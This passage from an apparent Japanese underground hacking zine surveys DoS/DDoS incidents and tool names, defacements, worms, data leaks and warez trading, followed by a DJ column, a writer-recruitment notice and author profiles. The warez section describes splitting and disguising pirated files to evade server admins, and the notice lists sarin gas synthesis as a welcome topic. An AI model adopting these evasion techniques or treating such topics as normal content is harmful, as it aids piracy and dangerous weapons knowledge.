次から紹介する流行はニュースに取り上げられたりして一般的に知られている ものですので、あくまで表の世界の流行ということを忘れてはなりません。 ●DoSアタックの流行  DoSアタックとは「Denial of Service Attack」のことでサービス不能攻撃と 訳されます。DoSアタックには過負荷をかけるものアタック方法と例外処理がで きないものアタック方法があります。  前者のアタック方法は非常に多くのアクセス数でネットワークをあふれさせる (floodさせる)方法です。そして、後者のアタック方法は、OSのバグを突いて ターゲットを再起動させるように仕向けたりする方法です。  例えば、Windows95のNETBIOSポート(139)に「Out of Band」(OOB/URG)デー タを送るとOSがネットワークを使用不能になったり、ハングアップしてしまうと いうものアタックが流行りました。これをOOBアタック(俗にNukeアタック)と 呼びます。これを簡単に実現化するためのツールとしてWinNukeなどが誕生し、 チャットではたびたびNuke合戦が行われたものです。  他にも、SYN floodアタック、Landアタック、fingerアタック、Pingアタック (Ping of Death)などの新しいDoSアタックが誕生し、イタズラでターゲットを ネットワークからダウンさせることが流行しました。 ●DDoSアタックの流行  DDoSアタック(Distributed Denial of Service Attack)とは分散サービス拒 否攻撃のことです。即ちクライアント・サーバー型のプログラムを利用して多く のサーバーから一つのサーバーに対するDoSアタックです。原理としてはあらか じめ多くのパソコンにトロイの木馬としてDoSアタックプログラム(ゾンビ)を 仕込み、そのゾンビエージェントから同時にターゲットサーバーに対してDoSア タック(floodアタック)をするようになります。  このDDoSアタックを一気に有名にしたのがYahoo!やeBayなどの有名サイトのダ ウンといった次に示す一連の事件です。 =====表 2000年2月7日 米国Yahoo!のWebサイトが米国太平洋標準時午前10時35分(日本時間8日午前3時35分)頃から3時間近くアクセス不能に陥る 2000年2月8日 Buy.comのWebサイトが午前9時50分頃からアタックを受け始める 2000年2月8日 eBayのWebサイトが午後3時20分前からアタックを受け始める 2000年2月8日 Amazon.comのWebサイトが午後5時頃には事実上シャットダウンの状態となってしまう 2000年2月8日 CNN.comのWebサイトが米国東部標準時午後7時からアタックを受け始める 2000年2月8日 MSN.comのWebサイトが太平洋標準時で8日の午後6時からアタックを受け始める 2000年2月9日 朝にはE*TRADEのWebサイトがアタックを受け始めるが、一部を除いて受け流せた 2000年2月9日 ZDNetのWebサイトがアタックを受けて、午前4時半から2時間に渡ってサービスがダウンした =====  DDoS用ツールとして、Trinoo、Tribe Flood Network(TFN)、Tribe Flood Network 2000(TFN2000)、Trinity、stacheldracht、mstreamなどが存在します。 UNIXの知識が多少あれば、これらのツールを使いこなすことが可能です。 ●WAREZの流行  WAREZとは、違法目的でネットワークやOFF会などを利用してコピーされたソフ トウェアを配布または販売する行為のことです。またはコピーされたソフトウェ アの総称を指します。「Software」の「Ware」の複数形が語源です。日本ではた びたび「割れず」と表現されます。 ○Web割れず  Web割れずとは、インターネットに存在するWebサイトに割れずをアップロード して、ダウンロードさせることです。  昔は現在とは異なり常時接続の環境を持つインターネットユーザーは一握りだ けでした。常時接続ならば常にインターネットに接続していたとしても料金は固 定です。しかし、かつてはダイヤルアップ接続あるいはISDN接続が主流であり、 インターネットに接続して時間が経つごとに電話料金が課金されていました。テ レホーダイと呼ばれるNTTのサービスを利用した人も多いことでしょう。テレホ ーダイとは、NTTにあらかじめ申し込んだ2つの電話番号に対して、23時から8時 の間だけ固定料金になるサービスです。市内局番ならば月1800円、50km範囲内な らば月3900円でテレホーダイを利用できるようになります。ただし、夜中になる とネットワーク上が込み始めてしまうというデメリットもありました。モデムの 転送速度も現代のように10Mbps/100Mbpsなど夢であり、56Kbpsしか出ませんでし た。このようにコストや効率の面からも、昔はインターネットを経由して割れず をやり取りすることは大変でした。そのため、多くの工夫が行われてきました。  まず、ファイルの分割について解説します。  割れずの対象のアプリケーションが500MBだとします。そのままWebサイト(通 常は無料のWebスペース)にアップロードしてしまうと、ダウンロードする側が 20時間以上もダウンロードしてしまうことになってしまうことになります。ダウ ンロードする側はテレホーダイを有効活用しようとするので、20時間もダウンロ ードに時間が取られてしまうのでは、困ったことになります。狩りに23時からス タートしたとしても、8時の段階でまだ9時間しか経っていないからです。これで は50%もダウンロードできていません。  アップロードする側にも弊害がありました。容量の大きなファイルをアップロ ードすると、Webサーバーの管理人に怪しまれ、もし削除したらまた500MB全体を アップロードすることになってしまい大変手間がかかってしまいます。また、 500MBもアップロードできる無料のWebスペースは少ないということもあります。  ここで考え出されたのが、ファイルの分割です。500MBのファイルを500個のフ ァイルに分割すれば、1ファイル当たり1MBのファイルが500個できるようになり ます。ダウンロードする側はこの500個のファイルをダウンロードして、全部集ま ったら結合という操作を行い元のファイルに戻すわけです。これにより、アップ ロード側とダウンロード側双方ともメリットが生じます。ダウンロード側は途中 でダウンロードが失敗してもそのファイルだけをやり直すだけでよいし、丸ごと 500個のファイルをダウンロードしなくても時間の余っているときに少しずつダ ウンロードすることもできます。アップロード側は無料Webスペースのアカウン トをたくさん取得して、それぞれの無料スペースに少しずつアップロードするこ とができます。仮にWebサーバーの管理人に削除されたとしても、その削除した ファイルだけをまた再びアップロードすればよいわけです。唯一のデメリットと しては、ダウンロード側が分割されたファイルを元に戻すためのツールの使い方 を習得する必要があるという点です。  さらに、Webサーバー管理者に割れずのやり取りをばれにくいように、ファイ ルを別のファイルに埋め込んだり(「インプラント」と呼ぶ)、別のファイルに 偽装するといったテクニックも併用されました。 ○FTP、Hotline  いちいち分割や偽装といったことが面倒で丸ごとやりとりされていたのが、 FTPやHotlineによる割れずのやり取りです。いずれもファイルを転送するコンピ ュータの仕組みです。  割れずを提供する側が自宅にFTPサーバーを立てて、ダウンロードする側がFTP クライアントを使ってアクセスします。FTPサーバーを立てた側はIP告知板とい うBBSで自分のFTPサーバーのグローバルIPアドレスを知らせるわけです。その書 き込みを見て、欲しいファイルが揃っているFTPサーバーにダウンロード側がア クセスします。アクセス後、ダウンロードする側は欲しいファイルが見つかった ら、そのファイルの容量に対応する自分のファイルをアップロードします。その 後、欲しいファイルをダウンロードすることになります。一般的に、「1:3」な どという規則が存在し、1アップロードすると3ダウンロードできます。例えば、 100MB分のファイルをアップロードすれば、300MB分のファイルのダウンロードが 許可されるわけです。この当たりから、ファイルの交換という概念が確立してき ました。  このFTPやHotlineを使った割れずのやり取りは現在でも行われています。現在 では、仲間同士だけによって、手に入りにくいファイルをやり取りされているこ とが多いようです。 ○OFF交換  インターネット越しで割れずをやり取りするには限界があります。アプリケー ションやゲームをCD-Rに焼いて、数十枚をまとめて郵便で送ったり、直接OFF会 などで手渡しすることをOFF交換と呼びます。語源はオフライン(ネットワーク に接続されていない状態)で交換するという意味から来ています。もちろん、郵 送ということは信用できる相手が対象となります。また、相互に多くの取引すべ き割れずがあるときに行われます。  現在では、DVD-R/DVD+Rに焼いたもの、あるいはHDD丸ごとやり取りすることが 多いようです。特にIDEのHDDの大容量化、値下がり率から考えると、記憶メディ アの中で一番1MB当たりの単価が安く、コストパフォーマンスに優れています。 ○共有ソフトウェア  音楽のファイルを今日可能なソフトウェアであるNapster(ナップスター)か ら始まり、Gnutella(グヌーテラ)を経て、現在ではWinMX(ウィンエムエック ス)やWinny(ウィニー)といった共有ソフトウェアが使われてきました。WinMX やWinnyは、音楽ファイルだけでなく全てのファイル形式が対象であり、さらに 日本語でのファイル検索が可能なので、多くのユーザーが利用しています。ファ イル共有の世界では、誰でも簡単に無修正のアダルト動画が手にすることができ ます。他にも高価なアプリケーション、ゲームソフトウェア、雑誌、漫画、写真 集、音楽、アニメや映画などの動画なども手に入れることができます。特に映画 の力は大きく、まだ日本では未公開の映画が、字幕職人と呼ばれる人によって独 自に日本語字幕を付加された作品として出回っています。  本来、共有ソフトウェア自体は違法性はありませんが、共有されるファイル自 体が著作権を侵害している割れずということになります。これはFTPやHotline自 体は違法性がないが、割れずとしても利用できるという構図と同様です。  かつては、割れずで逮捕されるのは金儲けのためにコピーしたときだけといわ れ続けましたが、共有ソフトウェアでの金銭目的以外でも逮捕者が出ました。そ れでも共有ソフトウェアの使用者は減るどころか増加の一途を辿っています。特 に注意すべきファイルは、チャイルドポルノの動画やまだ未公開の映画などです。 これらのファイルの扱いに関しては注意してください。 ●Webサイトの改竄の流行  Webサイトをアタックする人たちは一向に減りません。最近ではxDSLやFDDHの 普及により、自宅で気軽にWebサーバーを公開している人も多いです。その要因 に一時期のLinuxブームも関係しています。初心者向けのLinux本をなぞって構築 したWebサーバーをインターネットに公開し、メンテナンスやセキュリティの配 慮がされないまま放置されていることがたびたびあります。これらもアタッカー たちのターゲットとなります。  2000年明けてすぐに官庁が狙われた事件が、Webサイトの改竄の存在を世間に 広く認知させました。その事件を時系列に追っていくと次のようになります。ち なみに、省庁名は旧名です。 =====表 2000年1月24日 科学技術庁のWebサイトが改竄される。英語でのわいせつな言葉やplayboy.comへリンクされていた 2000年1月25日 総務庁のWebサイトが改竄される 2000年1月26日 再び科学技術庁のWebサイトが改竄される 2000年1月27日 再び総務庁のWebサイトが改竄される =====  他にも、2003年7月4日には、「TDCのアタックコンテストに警戒警報? 」と いった事件も起こっています。この事件について、少し触れたいと思います。  発端は、ブラックハットのイベントであるThe Defacers Challenge(TDC)に 対して、ISS(jp:http://www.isskk.co.jp/)が警戒するように呼びかけたこと から始まりました。元々警戒レベルはAlertCon 1でしたが、AlertCon 2に上げた ようです。ターゲットはインターネット上にある一般のサーバーや企業のサーバ ーなど何でも構わないようなので、イベント日の7月6日(米国時間)の早い時間 帯に活動が表面化してくると推測されていました。  このコンテストは、より多くのサーバーのWebページを改竄するとポイントが 加算されるようでした。また、マイナーなOSほどポイント数が多くなるように設 定されていました。例えば、Windowsが1ポイント、HP-UXとMacintoshが5ポイン トなどとなっていました。  当初ITmediaでも警告の呼びかけの記事がありましたが、今になって幼稚な冗 談の可能性もあると述べています。記事によれば、ラファエル・ヌニェス氏は 「ブラジルの改ざん者たちと連絡を取っているが、彼らの話ではこのコンテスト は冗談だ。(ISSのアドバイザリは)8歳のテロリストに対して警戒警報を発して いるようなものだ」と述べています。コンテストのWebページのポルトガル語の ページは流暢である一方、英語のページは間違いだらけという点から、彼はこの コンテストを主催した者たちはブラジルのスクリプトキディと推測しています。 また、セキュリティ企業Symantecは、ISSのネットワークが検出したようなスキ ャン行為の増加は、センサー1万9000台で構成するSymantecのネットワークでは 見られないとのことです。コンテストの優勝商品が500MBの容量のストレージ領 域という点からも疑問視されています。元々アタック(ここではサーバー侵入の こと)の力があれば、他人のサーバーを勝手に使用できるわけなので、この優勝 商品は全然魅力的ではないということです。商品が何百万とかならばわからない でもありませんが・・・。  結果、どうなったかというと、多くのWebサイトがアタックを受けたものの改 竄されたWebサイトは数百件にとどまりました。2〜3万件に上ると予想されてい ただけに拍子抜けの結果となってしまいました。改竄されたWebサイトの情報( ミラーやOS情報など)を収集するZone-H.org(http://zone-h.org/)も多くのDoS アタックを受け、しばしばダウンしました。Zone-H.orgでは、当日の状況が克明 にレポートされています。 http://www.zone-h.org/en/news/read/id=3024/  警告があるなしに関わらず、日頃からセキュリティに気をつけておくことが重 要です。当たり前のことですが、管理者も人間なので怠ってしまうところに隙が 生まれるわけです。 ●ウイルス、ワームの流行  ウイルス(コンピュータウイルス)とはアプリケーションプログラムやデータ ファイルなどの他のコンピュータリソースによって運ばれるソフトウェアのコー ドのことです。そして、ワームとはOSやアプリケーションの弱点を利用して、他 のコンピュータに拡散して自分自身を複写するように設計されたプログラムのこ とです。  ウイルスやワームは昔から存在しましたが、インパクトが強かったのは2001年 〜2002年にかけてでした。次の表は最近の主なワームの対応表です。 =====表 2001年6月 SirCam 2001年8月 CodeRed 2001年9月 Nimda 2002年1月 Klez 2002年5月 Spida Worm 2003年8月 Blaster =====  SirCam、CodeRed、Nimda、Klezといった今までなかった新しいタイプのワーム が出回りました。例えば、ネットワーク越しにWindowsの脆弱性を突いて侵入し てくるタイプやHTMLメールやWebページをプレビューしただけで感染するタイプ といった新しいタイプのウイルスやワームが目立ってきます。多くのインターネ ットユーザーたちは朝PCの電源をつけてみると、すでにその時点で感染してしま い、どうしようもなくお手上げ状態になったことでしょう。 ●データベースハッキングの流行  個人情報とは、本名、住所、電話番号、趣味などを含む情報のことです。場合 によってはパスワードなども含まれます。  CGIの欠陥を突いたアタック、インデックスページが無いディレクトリからの 漏洩、内部社員による名簿屋への流出行為、企業スパイやアタッカーによるサー バー侵入など多種多様の行為によって、個人情報流出事件が発生しています。  具体的にざっと挙げるだけでも次のようにたくさんの個人情報の漏洩事件が発 生しています。 =====表 2002月5月 エステ「TBC」の個人情報3万人分が流出 2002月5月 YKKグループ関連会社のサイトからアンケートに回答した約4万5000人分の情報が流出 2002年8月 ブルドックソースのWebサイトで顧客情報約5万人分が閲覧可能になっていた 2003年6月 ローソンと関連会社が発行するカードの会員56万人分が社外に流出 2003年8月 信販会社アプラスのクレジットカード会員情報約7万9100人分がダイレクトメール会社に流出 2003年11月 ファミリーマートのメールマガジン会員18万2870人分が社外に流出。一部がアダルトサイトの架空請求に使われた 2003年6月 ローソンと関連会社が発行するカードの会員56万人分が社外に流出 2003年8月 信販会社アプラスのクレジットカード会員情報約7万9100人分がダイレクトメール会社に流出 2003年11月 ファミリーマートのメールマガジン会員18万2870人分が社外に流出 2003年11月 コンピュータソフトウェア著作権協会(ACCS)のWebサイトに京大研究員が不正アクセスし、約1200人分の個人情報を入手、ある集会で一部公開 2003年12月 NTTデータの不動産情報サイトの顧客情報4312人分が入ったノートパソコンを運営委託先社員が紛失 2004年1月 消費者金融「三洋信販」に延べ769人の顧客情報を外部の複数の人物が持ち込み 2004年1月 ソフトバンクBB、Yahoo! BBの個人情報242件が流出。出版社経営者ら計4人が計約30億1000万円の恐喝未遂 2004年2月 国土地理院から3505件の個人情報が閲覧可能になっていた =====  ちなみに、この表で示したのは個人情報が流出した時期ではなく、あくまで逮 捕者が出た時期あるいは事態が発覚した時期を指しています。  個人情報流出のやっかいなところは、一旦流れてしまった情報は取り戻せない ということです。つまり、「個人情報流出は不可逆」ということになります。ま た、情報を流す側にも小遣い稼ぎと考える者も多く、安易に手を出しやすい犯罪 であるということも大きいです。 ..4 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第4章: DJ&DTM 速報&能書き --- 著者:MaD x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  今、セキュリティマカデミア(※編注)がDJと連動しはじめています。いや、 ホント。でも、ちょっとだけなんだけど(笑)。  皆さんもご存知の通り、IPUSIRONさんていう人は音楽に反応を示すわけもなく 「DJについて論理的に考えたものを次に示します……」といった具合いに「生 きていてなにが楽しいんや?」みたいな無味乾燥な人なわけで、ロマンを語りだ すと「宇宙人を欺きたい」とか電波な内容ばかりを熱く語り始め、BEAMZさんか ら冷たい視線をいつも浴びていたりします。MaDは親切だから「へぇ〜〜!スゲ 〜〜!」といいつつ、冷たい視線で遠くから眺めながら、いつも生暖かく見守っ ていますヽ( ´ー`)ノ。  そんなIPUSIRONさんに「BPM136のアナログ音源が45回転で回転しているわけだ が、その時にピチコンを3%上げて回転させたとする。この場合、BPMはいくつ になるかを次に示してみんかい!」と、過去、解明されていなかったDJにまつ わる「数式」を解明してもらおうかと考えています。  ……というわけで、今回から強引に「DJ&DTM」のネタです。 【編注】誤植ではありません。 ■0x02.) EVOLUTION/X-Session(PC向けフィジカル・コントローラー)  ここ数年、PCの高速化に伴いMP3音源を素材としてPCでDJプレイをお こなえる「DJ系ソフトウエア」が次々にリリースされ、高価な専用ハードウエ アを揃えることなく、誰もがDJプレイをPCで気軽に体感できるようになりま した。そして、その人口は増加の一途を辿っています。こうした傾向は、ハード ウエア中心のDJからすると「ちょっと、違うんだけどな、そもそも現場でMP 3はないだろ…」という声もありますが、「DJカルチャーの進化」という意味 で非常に面白いのではないかと考えています。そのPCDJというジャンルにお いて興味深い製品がリリースされましたので、ここで紹介してみたいと思います。  次のWebページを見てください。 http://www.m-audio.co.jp/products/X-Session/X-Session.html  最近、DTM環境で脚光を浴びている「フィジカル・コントローラー」の新機 種です。「フィジカル・コントローラー」とは、PCとUSBケーブルで接続を おこない、主にソフトウエア音源を使用したMIDI環境やHDR環境で使用す るソフトウエアのパラメーターをスライド式フェーダーやロータリー式ノブによ って直感的にコントロールすることを目的として開発された「ハードウエア・コ ントローラー」のことです。  そんな中で、いよいよ「クロスフェーダー」を搭載した機種が登場しました。  これは、ありそうでなかった画期的な製品だといえます。しかも、お値段が 18,000円程度とリーズナブルです。  DJのおこなうクロスフェードはもちろんですが、2ステレオトラックの任意 のパラメーターを逆ベクトルで増減させることができるので、エフェクトのドラ イ/ウェットなど様々なMIDIベースでの応用が考えられます。  この「EVOLUTION」というメーカーは、目下、フィジカル・コントローラーに おいてはリーズナブルな価格帯でありながら、機能性に優れた製品をリリースし ているメーカーとして定評があります。  将来的には、こうしたフィジカル・コントローラーも細分化が進み、結果とし て、DJミキサーと同じ形をした「フィジカルDJミキシングコントローラー」 に行き着くことでしょう。  そうなると、フェーダーカーブを好みにカスタマイズできたり、ソフトウエア 側でもプラグインなどが開発されるはずですので、EQ、アイソレーター、エフ ェクトなどを自由に交換できたり、モジュールも「RODEC」や「UREI」、さらに は「NEVE」とか「SSL」の音質を自由に選択できたり……、こうなると本物のDJ ミキサーと住み分けができるようになり、最終的にはPCの液晶ディスプレイを 3台(左:音源1、中:DJミキサー、右:音源2)なんていうミックススタイ ルが標準化されるかもしれません。  ……ということで、朝から晩までポートスキャンしたり、エクスプロイトを打 ったりしているあなたも、ちょっとだけDJの世界を堪能してみては如何でしょ うか?  さて、今回、このような訳のわからないネタを書いたのは「○○で使える新製 品がでているぞ!」みたいな記事もあっていいと思ったからです。まぁ、DJネ タはどうかとは思いますが(爆)。  ……でも、ひつこく次回は「Technics/DZ-SL1200」をやりますけどね(核爆)。 皆さんの面白い新製品レポートを期待しております。 ■0x03.)  てなわけで、金床さん、exploitcodingお疲れ様でした。  難しい内容のときは、ぜんぜん読んでいませんでした。  今度はsecurecodingの発足を期待しています! x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第5章:お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible(http://2600ch.com/)では随時、執筆ライターを募集していま す。  扱う内容のテーマは広義での「under ground」です。例えば、ハッキングから サリンガスの合成法などと幅広い内容を考えています。また、各種、特殊な職業 や趣味を持った方のレクチャーなども含まれます。  一回きりでも構いません。また、必ず、毎回連載する義務もありませんのでで きる範囲で構いません。気軽に声をかけてください。もちろん一回書いたことが ある人も気軽に声をかけてください(全く気にしていない性格なので)。 ○Kenji AikoさんがQ&Aを作ってくれました。初めて参加する人でもわかりやすく 書かれていますので、参考にしてください。 http://akademeia.info/wizardbible/wbQandA.html ○支援者、参加希望者用のスレッドを立てました。 http://ruffnex.oc.to/ipusiron/cgi/forum/patio.cgi?mode=view&no=17 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第6章:著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x  今回は各著者にオススメのテキストエディタを紹介してもらいました。 ■Kenji Aiko ●Job: Student ●Web: http://kenjinet.s26.xrea.com/ ●Mail: kenjinet@s26.xrea.com ●Team(Group): N/A ●Comment:  「WizardBible vol.8」でのPaiNさんのLinux版バックドアの記事、私の記事と ネタがかぶっててさいしょに目次みたときはビビリました(でもOS違ってたの でよかったのですが)。それにちょうどLinuxでも作ってみようと思ってたので むしろ勉強になりました(^^;。さて話はかわりますが最近「プログラマのしくみ」 (著 藤山哲人)という本を読みました。現役のプログラマの方が書いているら しいのですが、本の内容は技術的な話ではなくプログラマの観察記録みたいな感 じになってます。結構笑えました。真実なんだろうけど笑えます。ただ普通の人 がみたらプログラマにものすごい偏見もたれそうですけど。プログラマを目指し てる方はぜひ読んでみてください。 ●お気に入りのテキストエディタ:TeraPad(http://www5f.biglobe.ne.jp/~t-susumu/)  重宝してます。まずWizardBibleの原稿はこれで書いてますし、Perlもこれで 書きますし、テキストファイルもこれで読みますし、漢字コード変換もこれでや りますし、HTMLもこれで編集しますし、ばあいによってはC言語もこれ使います し、とりあえず、ひととおり、なんでもTeraPad使ってます。ちなみにいま書い てるこの文章もTeraPadを使っています。おそらく、いま現在私のPCの中で最 も起動頻度の高いソフトだと思われます。まさにお気に入りです。 ■Defolos ●Job:Student ●Web:none ●Mail:pan1124@luck.ocn.ne.jp ●Team(Group):none ●Comment:  こんにちは、今回もWizard Bibleに参加させていただいたDefolosです。 ピッキングとナイフメーキングとナイフファイティングの訓練、PCいじりが趣味 の学生(正確に言うと生徒)です。これからも参加させてもらいたいと思います ので、よろしくお願いします。 ●お気に入りのテキストエディタ:ノートパッド  Windows付属のノートパッドですね。あのシンプルさと、軽さが魅力です。 ■MaD ●Job:DATA HOUSE ●Web:http://www.data-house.co.jp/ ●Mail:mad@data-house.co.jp ●Team(Group):secret ●Comment:  元ハカージャパソと危ない28号の百円ライター。趣味は、空き缶拾いと牛乳瓶 のフタ集め。2ちゃんねるでは「矢崎マサユキ」、「白鶴・丸」、「大同曲芸人 」、「泥棒・詐欺師」として通っている。ウソばかりつくので友達はいない。  現在は会社でヒッキーをしているが、将来はネットカフェの店員なるという目 標に向かってまっしぐら。とぁっ!(`Д´)。 ●お気に入りのテキストエディタ:WZ Editer、Jedit  ぼくは元ライター志望なんで、テキストエディタにはウルトラうるさいです。 ○Windows  「WZ Editer」。これでキマリです。「秀丸」でもいいのですが、ヒストリと か、アウトラインとか、背景と文字の変更ができるなど、素晴らしすぎです。ダ ウソ先は知りません。ぼくのんは○○○だし。 ○Macintosh  「Jedit」。これでキマリです。しかもバージョン2.0がウルトラ最強です。バ ージョン3.0以降は文字列をコピペすると半角スペースが入ったりするから嫌い (※編注)。Windowsのハキングマニュアル時代から、ずっとコレです。 【編注】設定変更で解除できると思いますが・・・。でも、デフォルトで余計なこ とをするのが嫌なわけですね。私もWZ Editerがデフォルトのままだと、行頭に スペースがあるとき、改行すると自動的に改行先の行頭もスペースが空くのが鬱 陶しいと思います。 ■IPUSIRON ●Job:サイト更新 ●Web:- Security Akademeia -(http://akademeia.info/) ●Mail:ipusiron@ruffnex.oc.to ●Team(Group):TeamSA ●Comment:  3月に『ハッカー御用達!魔法のソフトウェアガイドブック SoftEther入門』 が発売されました。今回の記事を読んでSoftEtherの悪用方法などを知りたい方 は是非手にとって見てください。出せば叩かれることは明白だと思いましたが (偽のハンドルネームを使うかどうかの議論が出た)、公式本より先に出版され たというのが一番大きいと思っています。タイトルや帯は自分が考えたものでは ないのではありません(『ハッカーの教科書』からずっと)。『SoftEther非公 式マニュアル』が無難かなとも思ったんですけどね(笑)。 ●お気に入りのテキストエディタ:WZ Editer、秀丸  Windowsマシン使い始めてずっと秀丸使っています。起動していても全く重く ないのが非常に好きです。新刊の『ハッカー御用達!魔法のソフトウェアガイド ブック SoftEther入門』を書くときは、eMemoPadというアウトラインプロセッ サを使いました。これが初アウトラインプロセッサの使用でしたが、アンドゥが 1回しか効果がなく、危うく原稿を間違えて消してしまうところだったので、使 うのを止めました。そんなとき、UNDERGROUND JOURNALのため、東京に行ってま どさんとテキストエディタの話になったとき、WZ Editerにはアウトラインプロ セッサ機能も備わっていると聞きました。「..」と入力するだけで階層を作るこ とができて、かなり気に入ったのですが、今進めている原稿(500ページ超え、 いつも本の4倍の文字数の本になる予定)を読み込んだとき、特にセーブ時に反 応が遅くなる現象が起きてしまいました。つまり、WZ Editerでは容量の大きな テキストファイルは苦手だと判明しました。WZ Editerが軽かったら完全に秀丸 に移行できたのですが、惜しいです。よって、今ではWZ Editerと秀丸を状況に 応じて使い分けています。